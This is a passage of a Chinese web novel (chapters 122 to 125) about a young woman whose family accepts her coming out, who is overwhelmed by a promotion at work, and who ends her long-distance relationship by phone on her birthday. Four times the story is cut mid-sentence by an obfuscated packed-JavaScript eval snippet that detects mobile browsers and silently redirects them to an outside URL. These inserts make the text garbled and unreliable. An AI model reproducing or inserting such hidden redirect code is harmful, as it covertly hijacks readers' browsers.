秦离在过年前就已经准备好了礼物,是个小提琴外形的手工八音盒,她拿到手后拼了一周才拼好,曲子是《爱的礼赞》。 这其实不是她一开始想好的礼物,和过去送给洛依的手表和香水相比,太廉价了,但她就是看到的那一刻突然想买下来。 或许,她只是想送洛依一件看见它就会想起她的东西。 寄出前,秦离想了想,又做了一份曲奇饼干一并放进箱子。 终归是把想做的事都做了。 零点的时候,秦离准时发出祝福:【生日快乐,宝贝。】 洛依早上回了她:【谢谢~[奶茶鼠转圈.gif]】 【今天打算怎么过?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370251|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【没什么打算,其实我也不怎么过生日,就跟家里人吃个饭,吃个蛋糕。】 【那也很好呢。】 后面的话题没怎么提及生日的事,平淡地跟平时每个异地恋的日子都差不多。 山上这家酒店都是主题木屋,还有些做咖啡、手工和点篝火烤烧烤的地方。店家就是这个村的村支书,是个年轻人,一手设计了酒店,还做了像天堂之门的小景点,倒是很适合拍照。村支部就设在酒店隔壁。 傍晚时分,太阳渐渐落山,晚霞晕染了大片大片的云朵,整片天空呈现暧昧的紫红色。 今晚住宿的好几家人已经在酒店后面的砂石空地上点起了篝火,又笑又喝又唱的,很热闹。 秦离一个人坐在白色石头做的天堂之门下面,那里挂着个很高的白色秋千,荡起来会超出地面边缘,仿佛在空中飞翔。 她望着远处的红云发呆,轻轻晃动秋千,就像小时候最喜欢做的那样。 “最近爱上了吃糖 青苹果味 酸酸甜甜 和想你的感觉很像 我坐在木椅子上 偷偷望天 胡思乱想 和想你的感觉……很像” 结果到最后,她也只写了这两句,翻来覆去,只有两句。 突然,秋千一重,秦离旁边坐了个人,她转头看,是老妈。 “在想撒子?想得这么入神。” 秦离摇摇头,但仍一脸心事重重的样子。 老妈也跟着她一起望云。 人生的前五十年,她几乎没有歇息的时候,一直在外快节奏地打拼。这两年因为身体原因不得不慢下来,却不知道慢下来的人生应该怎么过。 即使是五十多岁的人了,依旧会迷茫,依旧要去探索自己真正想要做什么。 还好,她还有家人陪伴,未来的时间也很长。 “星星点灯 照亮我的家门 让迷失的孩子 找到来时的路 星星点灯 照亮我的前程 用一点光 温暖孩子的心”① 老妈轻轻哼着歌,声音低沉悠长。 秦离眼神诧异,很少听到老妈唱歌,没想到她唱得这么好听。 老妈露出得意的笑容:“可别小瞧你妈啊,我读书的时候也是拿过歌唱大赛奖的。” “哇,老妈你太厉害了!”秦离十分捧场。 后方也爆出阵阵欢声笑语,伴着木材烧得劈里啪啦的声音。太阳降落,月亮害羞地躲着,只有满天繁星闪烁着,照亮整个世界。 世间万物都是如此美好。 老妈揉了揉秦离的头,目光依旧投向远方:“就这样吧。” “嗯?” “你放心大胆去走你的路,不管是阳关大道还是羊肠小路,我和你老爸永远是你坚强的后盾。” 秦离愣了下才反应过来老妈话中的意思。她猛地转头,露出不可置信的表情。 老妈笑得很温柔,将秦离搂在怀里,母女俩有着相似的体温和气味。 “我相信我们勺勺,会把人生过得很精彩的。” 122. Chapter 122 家里人接纳了她的身份,她真真正正地出柜成功了。 秦离将这个好消息第一时间告诉了星期六党小伙伴、远在海外的挚友,杨晓瑞和郭平,还有小姨。关系好的人她是一个不落,所有人都为她开心,纷纷约她出来恰饭庆祝这个好消息。 但她没有跟洛依说。 秦离并不是故意隐瞒的,只是她想到洛依曾经提到,她更习惯这种事和家里心照不宣,不好捅破那层窗户纸。 于是秦离犹豫再三,最后还是没有告诉洛依。不然她这是什么意思,给洛依压力,暗示她也要跟家里坦白么? 到现在这个局面了,秦离更不想和洛依产生任何争执。 能多一天的快乐是一天吧。 年后收假回来,事情不太多,但上班第一天,科长就将秦离叫到了办公室。 “小秦呐……” 听着科长语重心长的语气,秦离心里咯噔一下,有种不妙的预感。 科长跟她促膝长谈了半个多小时,出办公室后,秦离面色凝重,回到大办公室时深深叹了口气。 张姐刚泡上八宝茶,笑道:“怎么了,唉声叹气的,科长批评你了?” “不是……”秦离头大的很,“科长让我……今年开始当项目组的组长。” “哇!”小方发出惊叹,凑了过来,“离姐,你好厉害,不过是你的话,肯定没问题的!” “哎……”秦离忍不住又叹气。 张姐问道:“怎么了,觉得难度太高了吗?” “倒也不是。” 秦离可不会在任何人面前说这件事我做不到。况且她很有自信,自己的工作统筹和协调能力在科室的一众年轻人里绝对是最好的,做组长肯定是没问题的。 只是……她可是一直准备跑路不打算长干的啊,干着干着管的人和事越来越多了是个什么事…… 秦离哭笑不得,但这个理由可说不出口,最后在科长的期望和众人的肯定下,含泪接下了这个重任。 自此,她开启了痛苦的上班生涯。 当了组长后,工作量比起过去直接翻了个倍,她干的不再是简单的上传下达,以及写写呈批件和报告的事了。所有的大项任务,她都需要明晰长期工作思路,制定部署方案,从整个单位行业领域正规化和问题攻坚的层面去考虑。 每天,她的电话都没停过,手机、座机、工作消息、微信,经常都是多个连番沟通。一些过去她只需要报给负责人或科长的问题,现在得她去想办法解决,去和上级单位、外单位、同级部门以及个人去协调。 办公室里经常响起她炮仗式劈里啪啦一长串话,电话一接起来就是十多分钟打头。事情繁杂难搞的时候,她虽然不发火,但严肃的表情搞得小方她们都不敢轻易接近。 张姐倒是乐呵呵地夸她:“小秦越来越有领导范儿了啊。” 秦离只能苦笑。 什么领导啊,她现在就是干负责人和一线人员双份的活。究其原因…… 秦离在手机上疯狂跟洛依吐槽:【啊啊啊啊啊啊——特么的科长为什么要派两个活都干不明白的新人在我手下啊!!![兔兔扭曲变形.gif]】 痛苦让她失去边界感。 过年后科里来了两个新人,都是一米八几的北方壮小伙,人高马大的,刚毕业的大学生,但干起活来是一点不行。 刚入职的新人不会干没关系,秦离能够谅解,但一件事她已经教了四五遍了,下次还在出错,她是真的要发火了。 而且没有一点主观能动性,汇总给她的表格,虽然她没提格式的问题,但是表内单位时间等基本要素填完,格式统一下全部居中或靠左没问题吧。 【仿宋、宋体、黑体,你就是给我统一用成华文彩云我都原谅你了啊啊啊啊!】 【还有简简单单一页纸的呈批件和工作总结,写的都完全不行,我还得花时间教他们,帮他们改,我自己写十分钟就搞定了,带他们得半个小时!】 现在的秦离,特别是在工作上并不是个喜欢表现得情绪化的人,因此每次面对他们出错,都还是体谅他们是新人,尽量好声好气说,但架不住说完对方没长进啊。 她要被气死了。 【哈哈哈哈哈哈哈哈】 从字数可以看出洛依的“幸灾乐祸”了。年初是她最清闲的时候,每天打卡摸鱼,提前下班,奇葩科长去培训了又不在,简直是快活似神仙。 【不气不气哦,气到自己不划算。这种没救了,你只能靠自己吧。】 【哎,不说了,我又有电话进来了。】 最近接触的人太多,奇葩事不少,秦离发给洛依的工作吐槽和八卦也多了很多。这些是洛依最乐意听的,每次都守在吃瓜的第一线。两人发消息的频率高了很多。 奈何秦离实在是太忙了,有时候搞个什么破系统,甚至要忙到凌晨两三点,所以每次聊天都是这样匆匆开始,匆匆结束。 大概是疫情结束了的原因,上级把这两年原本堆积的工作谋划和大项任务全部在年初一股脑发了下来,最难搞的正规化建设和遗留问题攻坚就够秦离喝一壶的了。 忙活了半个多月,直到三月初,才终于喘了口长气,至少这个周末可以好好歇歇,不受任何电话打扰了。 刚好,这周末和学妹一起活动,放松放松。 学妹是以前E大实践部的成员小智。两人关系虽然算不上很好,但也加了微信。她是西北人,毕业后就回本地工作了,这次来南城是来听live的。 疫情之后,大大小小的演唱会戏剧音乐剧像雨后春笋般冒出来,而且不管有名的没名的,票统统秒光。大家跟疯了般涌去看演出,弥补疫情期间被封闭的压抑情绪。 小智就是专门来听可可的live的。她在南城有加场,刚好在周六,是离她最近,时间上又最合适的一场。 秦离是看见她发的朋友圈才知道这件事的。可可也是她很喜欢的歌手,想着刚好去听一听,还可以和过去的朋友聚一聚,她主动联系小智,又收了张二手票,于是周六也变得让人期待了。 迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370252|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻的livehouse里,大家找个不拥挤的位置站着,听着独属于可可的绵羊音,在紫红的昏暗灯光下醉生梦死,像是被夕阳笼罩。 “你在机车后座环绕着我夏夜的风吹拂过你我 你把你的围巾绑住了我毛毛的柔柔的也刺痛 像孩童般的温柔时刻暂时忘了我们的爱人吧 我很想念你和你的一切, 一切的一切”① 似乎有什么熟悉的场景在脑里浮现,又被模糊了画面。 小智在旁边跟着大声唱,不知道想起了什么伤心事,哭得稀里哗啦。 秦离抬头望向舞台,红色灯光将可可笼罩其中。她穿着柔软的白色长袖,握着麦克风架,像是要被这片浓郁的红色给融化了。 前面有人不知道什么时候拿出巨大的彩虹旗在空中挥舞着,二楼吹下来很多泡泡,碰到人后化成烟雾消散。 一切的一切都在风中飞扬着。 秦离抬头怔怔望着,心脏好像也变成了泡泡,跟着一起飘走了。 她朝后微仰,不小心撞到后面的人。 “抱歉……” 她转头,看见后面是一对同性情侣,亲密拥抱在一起。长相甜美的卷发女孩笑着朝她摇摇头,示意没关系。 秦离环顾周围,发现大多是和同性恋人一起来的女孩,大家都深深沉浸在缱绻的氛围之中。 真好啊…… 她捏着手机,想发消息给洛依,却不知道能说什么,最后还是默默关掉了。 “只要你愿意跟我走 只要你愿意不回头 只要你愿意在一片怀疑声中牵起我的手 只要你在我因等待而疲倦的时候朝我点点头 我多想和你厮守”② 最后一首《私奔》,所有人都在一起跟着唱,小智喊得最大声,秦离也轻声哼着。 结束后,小智擦擦眼尾的泪珠,笑着感叹:“副部,真好啊。” 陌生又熟悉的称呼将秦离再度拉入遥远的记忆。她愣了下才道:“走吧,去吃点宵夜。” 南城的宵夜时刻可选类型太多了,不过出于小智的好奇,两人最后还是去了著名的烤鱼店。 昏暗的店内灯光下,小智边辣得直吸气,边跟秦离聊着天。 从大学开始到现在,什么都说。比起读书时候,小姑娘更健谈也更活泼了,看起来没有遭受什么工作的毒打,这很好。 小智说了很多,情绪显得过分亢奋,好像在掩饰什么。聊得久了,秦离才知道原因,也知道她刚才为什么哭得稀里哗啦。 “我分手了!QAQ” 小智惨兮兮说起自己和一个比她小五岁的妹妹的恋爱史,以及她最近是如何被无情甩掉的悲惨经历。 秦离充分予以同情的目光,同时感慨,所以当初学校垒球社还能剩几个直的,黎羽和李凌菲真是带着个好头啊。 这时,她心里念着的名字就这么出现在小智嘴里。 “说起来,副部,你现在跟副队还在一起么?” 123. Chapter 123 “什么……” 秦离第一下还没反应过来。 “额……”小智看秦离愣神,后悔刚才贸贸然发问,“没事没事!” 秦离这下倒是反应过来了,副队……是说黎羽啊。 “她毕业前我们就分手了。” “这样啊……”小智小心翼翼观察着秦离的脸色,看她没有更多反应,猜测这么多年了应该已经放下了,才松了口气,笑着感叹,“那还是有点可惜啊。当年我们都觉得你们两个好般配,又很恩爱,还以为……” 还以为会一直走下去呢。 毕竟黎羽对谁都很冷淡,只有面对秦离时会露出那种温柔的笑容。而秦离又是那么热烈和坚持,为爱不顾一切,好像面对什么困难都不会惧怕。 毕业后两人都离开上海了,李凌菲又没提,她们还以为两人一起回南城生活了呢。 没想到……那么早她们就已经分开了。 秦离的语气依旧淡淡的,也带着一点浮在脸皮上的笑意:“哪有那么多般配和一直在一起,不合适的地方只是你们都没看见。” 她握着勺子,把面前的桂花酸奶搅得稀碎。 “世上人千千万,旧的不去,新的不来。所以说,往前看,你会遇到合适的人的,过去的就让她过去吧。” 她这么说着,其实自己都不完全信这句话。 小智信了,也或许她现在只是需要旁人的安慰。 秦离没有提自己又恋爱了的事,主要是这恋爱现在看上去好像也岌岌可危。小智就以为她跟自己一样现在都是单身。 自认为和秦离都是有悲惨分手经历的同类,小智感慨万分,高举茶杯:“来,副部,我们干杯,祝我们下一段恋情都会更顺利幸福!” 秦离无奈举杯配合她。 郁气发泄出来,后半段聊天就很愉快了,到最后店家赠送的花椒冰淇淋收尾,又是美好的一天。 秦离送小智回酒店,第二天一大早她就要坐高铁回去了。 分别的时候,小智突然想起来:“对了副部,我听说副队现在也在南城耶。” 所以她才以为两人还在一起呢。 她也是随口感叹,或许多少也存了点要是她们旧情复燃似乎也不错的念头,但没说出口。 “……这样啊。” 秦离应声表示知道了,没有多说什么。这个话题不了了之。 坐车回家的路上,秦离给洛依发消息:【我刚把学妹送回酒店,这会往家里走。】 洛依没有回。 她白天就说了要打游戏,这会大概还在玩,没有注意消息。 秦离熄屏,望向车窗外。霓虹灯争先恐后地超后涌去,长长的灯带一直延续到很远很远,然后彻底看不见了。 彻底被抛下了。 心中有难言的虚无感逐渐弥漫。 秦离将耳机的音量调高,让可可的声音淹没全世界,慵懒忧郁的音色将她带回那片迷雾般的红色中,被彻底渗透。 她想起了黎羽,想起了洛依,想起了阿清、柳叶、陆希意,想起了好多好多有过微妙感觉和关系的人。 浓郁的夜色和音乐融在一起,将她往情绪的深渊里拽。 秦离突然觉得,自己在感情方面真是彻彻底底的失败者。正二八经的恋爱只有两段,结果两段好像都难以度过热恋期,没法平稳进入美好长续的状态。 难道,她对亲密关系的处理就真的这么糟糕么…… 无论是哪段关系,她都是很认真对待,想一直好好走下去的。但或许,还是她做的太少,还是她本身太糟糕了。 即使她半点都不想跟洛依分开,但这样的僵持似乎也只是把对方也拖在这个泥潭里,害人害己…… 黑夜放大了秦离内心所有负面阴暗的情绪,不断将她往泥潭里拉,沉得越来越深。 她很清楚这些情绪只是一时的,只是所有的压力积压在了一起,只是夜晚的潮汐影响,等明天就好了。明天不好,后天也会好的。 然而,感性不受理性控制,悲观的念头一个又一个冒了出来,像泡泡般围在她周围。 无论是当初的黎羽还是现在的洛依,可能都都没有那么喜欢自己吧。我又不是什么超漂亮的大美人,也没有什么特别的地方,只是会在感情里格外主动热情,或许当时只是因为我的追求太过直白,她们才顺势同意的。 黎羽和洛依,在她们的人生中本就有更加刻骨铭心的爱情,也有比我更重要的东西。 秦离又开始唾弃自己,这样的想法,是对她们的不信任,贬低了自己,也贬低了她们。 但是……她真的没办法啊…… 秦离的眼睛酸涩,拼命忍住眼泪。 她的身体好像被撕裂成两块,一块还在理性分析着,一块在疯狂晃动着,魔咒般念叨着。 放弃吧……放弃吧…… 她以为她已经成长了,但这种脆弱时刻才发现,所有以为已经摒弃的劣性,那些人生某个时刻带来的伤痕其实都没有消失,而是在骨子里蛰伏着,在她虚弱的时候侵占她的大脑和心脏,让她节节败退。 然后一败涂地。 车开到了,秦离摸着黑进入连路灯都已经熄灭的小区,赤脚踩在家里的地板上,无视摇头晃尾的小狗,倒在床上,一睡不起。 第二天醒来时已经天光大亮,秦离的身体散架般难受。她就着不舒服的姿势继续这么歪着,感觉自己头、眼睛、喉咙哪里都痛,鼻子一堵一堵的。 心脏……也很难受。 好像是感冒了。 顶着满头金星,迷迷糊糊起床喂和遛完小狗,秦离胡乱塞了些感冒药,倒头继续睡,没有注意到亮起又熄灭的屏幕。 直到天又一次黑了,她才终于有点力气去翻手机,看到洛依从昨天到今天给她发的许多条消息,还有三条未接来电。 秦离自嘲,这大概是这么久以来,洛依第一次给自己发这么多消息,还打了电话吧。 第一条是昨天很晚发的:【打了一天的游戏,好久没玩得这么爽快了。刚刚和同事出去吃了个宵夜,才回来。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370253|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【睡了吗?】 然后就是白天的了,从一开始惯例说今天的安排,问秦离做什么,到下午发现她没回消息,又发了几条,到傍晚她还没出现,洛依终于忍不住连打了三个电话,一直到自动挂断。 【出什么事了?看到消息快给我回个电话吧,我很担心你。】 秦离不想说话,打下文字:【我没事,就是身体不舒服,昏睡了一天。】 洛依消息回得很快:【现在好了点吗,要不要去医院看看啊?】 【没事的,我吃了药的,多歇歇就好。】 【那好哦,你好好休息。】 对话中断了,两人都没说起打电话的事。 那之后,秦离开始更加疯狂地工作。她的事确实很多,怎么都有得做,于是从早上八点到单位,一直干到晚上十一二点,回家后刷着电竞选手的直播,听选手说着自己听不懂的话,嘻嘻哈哈到身体实在扛不住入睡。 第二天继续早起工作。每天的睡眠时间只有四五个小时。 科长一开始还夸她的工作作风扎实,劲头足,但持续每天都这样,科长也委婉建议:“还是要注意身体啊,工作永远都干不完,循序渐进好好干就是,别累垮了。” “……好的。” 【抱歉,最近工作实在是太多了。】 秦离这么对洛依说着,关掉手机躺在床上发呆。房间的灯没有开,一片漆黑,音乐声很大,将她淹没。 她确实没有口上说的那么忙,只是不忙一点,不将自己的脑子填满,空闲的时间里她就会被悲伤痛苦的情绪压抑得动弹不得。 原本健康的作息和生活被搞得一团乱,只是有个工作的引子牵着她,让她勉强保持行动轨迹。这个时候,她又开始庆幸自己没有冒然辞职,要是自由职业,她肯定完全堕落了,昏天暗地地刷手机看小说,就像大学时那样。 呵,结果过去快十年了,她还是没有任何长进。 洛依一开始还很担心秦离是不是生病了,发消息的频率变得更高。后来,或许是感觉到了秦离的逃避,也或许是知道秦离工作太忙,状态不好,想给她留下独处疗伤的空间,洛依发消息的时候也越来越少。 慢慢地,原本即使争吵、冷战和生疏都没有中止的每日消息断开了。 等秦离回过神来,发现她们已经有三四天没发过消息了。 原本强压住的难过瞬间全涌了出来,淹没她的整具身躯,从内到外。 秦离本来正坐在工位上干活,泪水突然止不住地往下流。怕被人看见,她慌忙低头用手背不停地擦拭,然后跑出办公室。 她张开嘴,却发不出一点声音,只有眼泪带着一切在流淌。 似乎……是时候了。 心里有个声音在这么说着,秦离也终于下定决心。 再过一周就是秦离的生日了。那天刚好是周五,星期六党的小伙伴早早和她约好了下班去恰饭庆祝。 “好。” 新的一岁,新的…… 是时候了。 124. Chapter 124 晚上吃火锅,非常常见的南城人选择。裴子霜选了家便宜又好吃的店,早早就去排上了队。 但今天运气实在不好。秦离本来想提前走的,结果下午的时候上级突然赶着要一个项目报告,也不知道怎么想的,非要赶在周五下午。 已经下午四点过了,秦离挎包都收拾好了,被迫又坐回工位,把项目素材按新的要求贴一遍,再加些高大上的标题、小标题和小小标题。 秦离频频看手表,看着时针一点点往前走,心里急得不行。约好的吃饭时间是七点,从单位开车到市区要一个小时。她本来打算五点就遛,避开高峰期,现在看来六点能不能按时下班都说不准。 偏偏越急越容易出岔子,不是打印机出了问题,就是处长办公室有人,要一直等着。 秦离的报告写得一塌糊涂,但已经没有心思修改了。赶着快六点的时间,终于在处长那里排上队,但处长一句“小秦啊,这篇报告结构上可能要改一改”宛如五雷轰顶。 完了……不会今晚都走不了了吧。 啊——好烦啊—— 部门领导面前,秦离只能憋住情绪,熟练地笑着点头:“好的,明白,我马上去改。” 出了领导办公室,她就垮下一张脸,如丧考妣。 低气压一直维持到回到自己办公室,其她同事都走了,组里那两个小伙也跑了,灯都关了。 秦离更丧了,悲从中来,为什么……只有她要留下来……她也想按时下班,想去过生日啊…… “咦,小秦,我以为你已经走了呢,怎么还在,报告还没发给上级么?” 科长背着双肩包,正在锁办公室的门,就看见脸色阴沉的秦离。 “嗯……处长说还要再改下报告结构……” 秦离自以为收敛了情绪,说话很克制,但老练的科长早听出她语气中的委屈。 “晚上有事吗?”科长笑了笑,没等秦离回答继续说,“好了,你最近也辛苦了,快走吧,把报告电子版发给我,我来改,后续你不用操心了。” 秦离眼睛一下就亮了:“谢谢科长!” 不带一丝犹豫和谦让,秦离火速将材料发给科长,在真诚的“科长再见”声中光速跑了。 周五的晚高峰一如既往的可怕,去市区的大道上全是堵着的车,秦离不得已往东面更远的地方绕路,一直对着导航改路线。 【抱歉,路上太堵了!你们先吃,别等我。】 秦离在群里发消息时,看见了洛依发来的生日快乐。 简单的四个字,后面接着问她今天有什么安排。整句话看上去平平淡淡,就跟对方上一次面对自己时的情绪一样,没有任何起伏。 今天对对方来说只是三百六十五天里普通的一天,没有任何特殊的地方。 秦离又想起她们刚在一起的时候,她跟朋友出去吃饭,洛依会一直找她,撒娇着说不想太久断开联系,可爱地问她能打电话吗。 奇怪,那个洛依和现在这个洛依,真的是一个人吗。 “哔哔哔——” 在后面喇叭声催促中,秦离如梦初醒,看前面道路已经通了,连忙跟上去。 但心却被堵住了。 【这会去和朋友吃饭,】 打完这句话,秦离不知道还能说些什么。 还要继续这样不冷不热地维系下去吗……又能维系多久呢……没有意义的。 秦离心不在焉,将车停在辅道路边,趴在方向盘上发呆。 是时候了吧……是时候了……是……时候了…… 她控制不住手指,在对话栏内打下:【这会有空吗?】 【怎么了?】 【方便接电话吗?】 对面过了会才回:【……嗯。】 秦离突然有种直觉,或许洛依知道她要做什么,或许……她也做好了准备。 秦离摇开车窗,深吸一口气,颤抖着拨通了电话。嘟嘟声中,她的心脏越跳越快,身体变得酸软,如同曾经告白前那样紧张。 电话很快接通了,对面一阵沉默,秦离能听到轻微的呼吸声,带着浓烈的气息瞬间包裹住她的全部感官。世界在这一刻远离,变得苍白暗淡。 “喂……” 她的声音干涩,险些发不出来,甚至不知道对方有没有听清。 “……嗯” 洛依声音小小的,秦离好像能想象她低着头,眼睛微垂的模样,依旧是那么可爱。 即使对面看不见,秦离依旧勉力勾起嘴角,带着笑意问道:“这会在做什么呢?” “刚吃完饭,在外面随便走走。” “一个人吗?” “嗯。” “花城天气冷不冷啊,别穿太少感冒了哦。” “还好,这里冬天温度也没有太低。你也是,注意身体,南城比我们这里冷多了。” 从天气开始的干瘪话题,像是电视剧里才会发生的尴尬场景。 秦离又搅尽脑汁说了一些话题,大多是问句,洛依都一一答了,偶尔也回抛几句话。两人你来我往,带有明显的痕迹。 双方都清晰地感受到了这种痕迹。这种相处,又勾起了秦离痛苦的回忆。她们最后一次见面,就如同隔了一千五百多公里的此刻这样僵硬苦涩。 双方都很努力,但无济于事。 哎…… 秦离在无声叹气,没有开启下一个话题。 洛依好像听见了般,也沉默了。 话筒里只有两人的呼吸声,越来越浓烈,混合着电流交织在一起。 秦离想开口,嗓子却被死死黏住,发不出一点声音。 快一分钟的静默,洛依依旧没有开口,好像在等待着什么。 秦离知道,她不会主动说的,如同最初那样。 她捏紧手机,逼着自己撕开嗓子和嘴唇,不管自己的声音是如何嘶哑难听:“我有话想对你说。” “……嗯。” “我……我这些天仔细想了想,”话一旦开口就顺畅了,“我们……一直这样下去也不是办法。归根到底,还是我没有履行我的承诺,没有给你足够的安全感,不能陪在你身边。是我不够好……” “不是这样的。”洛依打断她,“你很好,真的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370254|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好很好,是我太不适合恋爱了,无法好好维系一段感情,不值得你这么好。你每次跑这么远过来找,还要承担我的情绪,太辛苦了。你明明不喜欢花城,却一直为到这里来做了很多事。我不想再耽误你,不想你逼着自己做不想做的事……” 洛依说了好多好多。秦离知道她说的话都是真心的,自己也是如此。 两个人都是如此真切地为对方着想,也是如此痛苦地自责着。互相折磨。 所以说,结束吧,快结束吧。 “不要怀疑自己,洛依,”秦离第一次喊出她的全名,“你是很好很好的人,能喜欢你,和你在一起,是我的幸运。不管怎么样,我都希望你能永远开心。所以,我们就……这样吧。” 对面声音戛然而止,过了许久许久,才有个小小的回应:“……嗯。” 秦离憋着的那口气终于缓缓吐了出来。她抬头看到后视镜里的自己嘴角依旧被无形的线提着,像木偶那样,眼角却耷拉着。 她摸了摸眼角,将它也压了上去,声音里带着刻意的轻松:“好了,没事的,虽然我们分开了。你需要我的时候,还是可以来找我的。” 这句话她两年前曾经说过,是真的。 “嗯,你也是……” “好。” 秦离应下,却知道今天之后,她不会再主动找洛依了,绝不。 “好好照顾自己,工作中的烦心事不要太放在心上,生病了不要硬撑,该吃药要好好吃药,日子怎么舒服怎么过,不要给自己太大压力。” 秦离将以后再也没机会说出来的关心一口气全讲了出来。 “你也是,好好照顾自己。” 洛依的声音颤抖得厉害,喉咙里挤不出更多字了。 终于,该说的都全部说完了。 天空已经一片漆黑,霓虹灯陆续亮起,点点星光。即使再不舍,秦离也只能说出那句:“那,就这样了,挂了吧,再……见……” “……再见。” 两人都没有挂断,只有呼吸声变得轻微,好像被隔绝开。最后,不知道是谁触碰了屏幕,通话终端。 嘟嘟声中,秦离僵在位置上,过了好久突然将头埋在膝盖上,缩成一团,颤抖着,无声痛哭。 泪水划过干燥的脸颊带着一道道炙热的疼痛,她大张着嘴,痛苦却全部挤在喉头,发不出一点声音。只有空气不断涌入,填满肺叶和五脏六腑。 时间在这刻停止,只有无穷无尽的深渊吞噬着一切。 直到有电话进来,秦离连忙抓过来,发现是杨颖后难掩失望。 她清了清嗓子,状似平静地接起电话。 “离离,你到哪里了?” “还在……在路上。” “你……怎么了?”敏锐如杨颖很快听出她声音里的不对劲。 “我没……算了,等到了跟你们说。” “好哦,那你开车注意安全,慢慢来,我们等你。” “好。” 秦离擦掉所有的眼泪,拍拍脸,深吸口气,启动车子。 她总不能永远停在这里,只能向前。 125. Chapter 125 秦离到时已经八点了。小伙伴们并不在意,等她时已经吃了些垫肚子。见她进门,许平平挥手示意:“这里这里。” 秦离走过去,所有人看见她通红发肿的眼睛大吃一惊。裴子霜关切问道:“你怎么了,发生什么事了吗?” 火锅咕噜咕噜冒着泡,煮开了。 秦离拉开椅子坐下,苦笑着:“没什么,就是路上和对象分了个手。” 众人诧异,细想又没那么意外。 许平平拍拍她的肩:“来,先吃先喝,我点个酒,今晚我们玩到你想回去为止!”说着,她在手机上点了个梅子酒的外送。 杨颖也提议:“吃完饭要不要去唱歌?”总得有个发泄的途径。 听着众人的安慰,秦离眼眶又是一红。她抿着嘴,笑着回应大家的关心:“好,我们多吃多玩,庆祝我重回单身!” 没有爱情,她还有珍贵的友情! 哪种又比哪种高贵! 酒足饭饱,四人走在晚风瑟瑟的街道上,夜色下的行人脸上都多了一分落寞。 她们走向常去那家KTV,裴子霜开了个通宵包间,许平平又点了几瓶精酿。 秦离坐在点歌机前,将喜欢的苦情歌全部点了一通,抓着麦克风就开始唱。 四人之间不需要什么小心翼翼的长篇大论,大家就像平时一起玩那样相处。裴子霜刷着手机,杨颖和许平平凑在一起说着最近买的空气炸锅怎么好用,到她们的歌时,再拿起麦克风。 秦离只想唱歌,只想喝酒。她唱到喉咙嘶哑,带着被挤压的疼痛。 “带不走的丢不掉的 让大雨侵蚀吧 让它推向我在边界 奋不顾身挣扎 如果有一个世界浑浊 的不像话 原谅我飞曾经眷恋太阳”① 曾经眷恋太阳…… 秦离喝完了所有酒,唱到声音完全变样,难听得像鸭子叫,哈哈。 她没有醉——这点酒还不足以让她醉,但她想要迷失了。 KTV房里天昏地暗,其她三人扛不住,已经轮番睡过一觉了。 秦离还在唱着,期间她去了几趟洗手间,走得东倒西歪。洗手的时候,手上没拿稳,手机啪地掉进水池里,被淹没。 秦离拎出来抖了抖,用纸巾擦了擦,没在意。 早上六点,所有人在沙发上横七竖八倒着,房间里只有大屏幕在尽职尽责地播放着一首又一首悲伤的慢歌。 服务员敲门提醒:“不好意思客人,我们时间到了。” 四人如梦初醒。 KTV附近有家很好吃的小笼包,走过去只有几百米。秦离头昏脑涨,带着熬夜和宿醉后的双重折磨,身体的难受反而盖过了心口的疼痛。 到店里,四人找到支在店门口露天坝里的最后一张桌子,点了两笼小笼包。 秦离抓着筷子,望向天边。 城市在太阳的光辉中慢慢醒来,披上温柔的颜色。远处矮楼上还有一轮月亮,很大很圆,但颜色已经很淡了。 再过不久,它就会从天空中彻底消失。 月亮没了。 吃完饭,要结账时,秦离才发现手机坏了。她最开始以为是没电了,但充电后也没反应,只能拿去修。 师傅说是进水坏掉了,修的话要大几百,数据全部丢失找不回来。 这个手机并不是什么新款,屏幕上也有些刮痕。师傅委婉建议其实也可以添点钱换个新的。 秦离沉默了一阵,所以还是道:“修吧。” 